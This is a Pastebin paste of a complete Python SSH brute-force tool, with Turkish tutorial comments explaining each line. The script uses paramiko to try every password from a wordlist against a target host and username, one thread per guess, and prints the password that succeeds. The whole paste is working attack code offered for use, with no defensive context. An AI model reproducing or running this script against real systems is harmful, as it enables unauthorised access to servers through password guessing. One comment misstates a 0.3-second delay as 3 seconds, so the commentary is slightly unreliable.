Advertisement
Guest User

Untitled

a guest
Jun 4th, 2017
109
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.28 KB | None | 0 0
  1. __author__ = "Insurgent"
  2.  
  3. print""" _____ _____ __ __ ____ ____ __ __ ______ ___ _____ ___ ____ __ ___ ____
  4. / ___// ___/| T T | \ | \ | T T| T / _] | | / \ | \ / ] / _]| \
  5. ( \_( \_ | l | | o )| D )| | || | / [_ | __jY Y| D ) / / / [_ | D )
  6. \__ T\__ T| _ | | T| / | | |l_j l_jY _] | l_ | O || / / / Y _]| /
  7. / \ |/ \ || | | | O || \ | : | | | | [_ | _] | || \ / \_ | [_ | \
  8. \ |\ || | | | || . Yl | | | | T | T l !| . Y\ || T| . Y
  9. \___j \___jl__j__j l_____jl__j\_j \__,_j l__j l_____j l__j \___/ l__j\_j \____jl_____jl__j\_j
  10. """
  11.  
  12. import argparse, threading, paramiko, time # kutuphanelerimiz
  13.  
  14. global wordlist # wordlist degiskenini her fonskiyon,method'tan ulasılabilecek hale getiriyoruz
  15.  
  16. parser = argparse.ArgumentParser(description='SSH Brute Force') # argumanlarimiz'a aciklama ekliyoruz
  17. parser.add_argument('--hostname', # hostname argumani olusturuyoruz
  18. help="Brute force denenecek ip'miz.")
  19. parser.add_argument('--username', # username argumani olusturuyoruz
  20. help="Brute force denenecek kullanici adi'miz.")
  21. parser.add_argument('--wordlist', # wordlist argumani olusturuyoruz
  22. help="Brute force icin sifre listemiz.")
  23.  
  24. args = parser.parse_args() # argumanlarimiz'i erisebilir hale getiriyoruz.
  25.  
  26. wordlist = open(args.wordlist, "r") # wordlist argumani'na verilen degeri dosyamizi okumak icin kullaniyoruz
  27.  
  28.  
  29. def godblessdonaldrump(hostname, Username, passwordlist): # tanri donald trump'u kutsasin fonksiyonumuz'a hostname, username ve passwordlist parametresi olusturuyoruz
  30. ssh = paramiko.SSHClient() # ssh degiskenimiz'e paramiko kutuphanesinde bulunan SSHClient fonksiyonumuz'u veriyoruz
  31. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # ssh key'imizi autoaddpolicy fonksiyonumuz ile otomatik sectiriyoruz
  32. try: # dene hata verirse except'i uygula
  33. ssh.connect(args.hostname, username=Username, password=passwordlist) # ssh hostane'mimizi hostname argumanimiz olarak kullaniyoruz username olarak fonksiyon parametremizi aynı sekilde password'ude
  34. except paramiko.AuthenticationException: # dene hata verirsek except demistik ya o except bu except xD hatamiz'i secip assagidaki kodlari uyguluyoruz
  35. pass # boşver hatayı tek atmaya devam anlamli bu methodumuz
  36. else: # Bunuda bir nevi try gibi kullandık hata vermez ise sunlari yap hatamiz sifremizi bulmadigina dagir oldugu icin hatanin vermedigi bir sifre bizim passwordumuz olacak MANTIK BUNA DENİ BE xD
  37. print "! Sifre bulundu: " + passwordlist # sifremizi ekrana yazdir
  38. ssh.close() # ssh baglantisini kapat
  39. return # bu adresimiz vazgecilmezimiz diyebiliriz. dönecegimiz adresi belirliyor ama adresimiz ne diyorsanız "Assembly Register Calling Convention" buyurun size keyword biraz ağır konu ama no pain no gain xD
  40. print "SSH Brute force isleminiz baslamis durumdadir.Sifre bulundugun'da ekranda cikacaktir !" # klasik yazı
  41. for satir in wordlist.readlines(): # for'u bilmeyeniniz yoktur. for ile satir degiskenini olusturup degiskenimize wordlist ile okudugumuz satirlari aktiriyoruz ama dongu yapilacak sekilde
  42. sifre = satir.strip() # sifre degiskenimize strip method'u ile her yeni satır'ı ekliyoruz
  43. thread = threading.Thread(target=godblessdonaldrump, args=(args.hostname, args.username, sifre)) # buyurun size yeni keyword "THREAD" arastirmak icin bunu size bırakıyorum sadece icindekileri anlatayim target olarak fonksiyonumuz args'ada fonksiyon parametrelerimizi ekliyoruz.
  44. thread.start() # "THREAD"ımızı başlatıyoruz
  45. time.sleep(0.3) # thread'ta olusan bir problem yüzünden bunu ekledim.Sleep fonksiyonu ile scriptimiz'in baslatilma süresini 3 saniye geciktiriyoruz
  46. wordlist.close() # Veeee büyük son sifre listemizi kapatiyoruz.
  47.  
  48. # Arkadaslar unutmayın arada turkce kelimeler gectigi icin yorum satırın'da bir dil "UNİCODE"u eklememiz gerek assagida listeyi verdim.Script'in en basina eklenecek bu
  49.  
  50. # Windows için : # -*- coding: cp1254 -*-
  51.  
  52. # GNU/Linux için : # -*- coding: utf-8 -*-
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement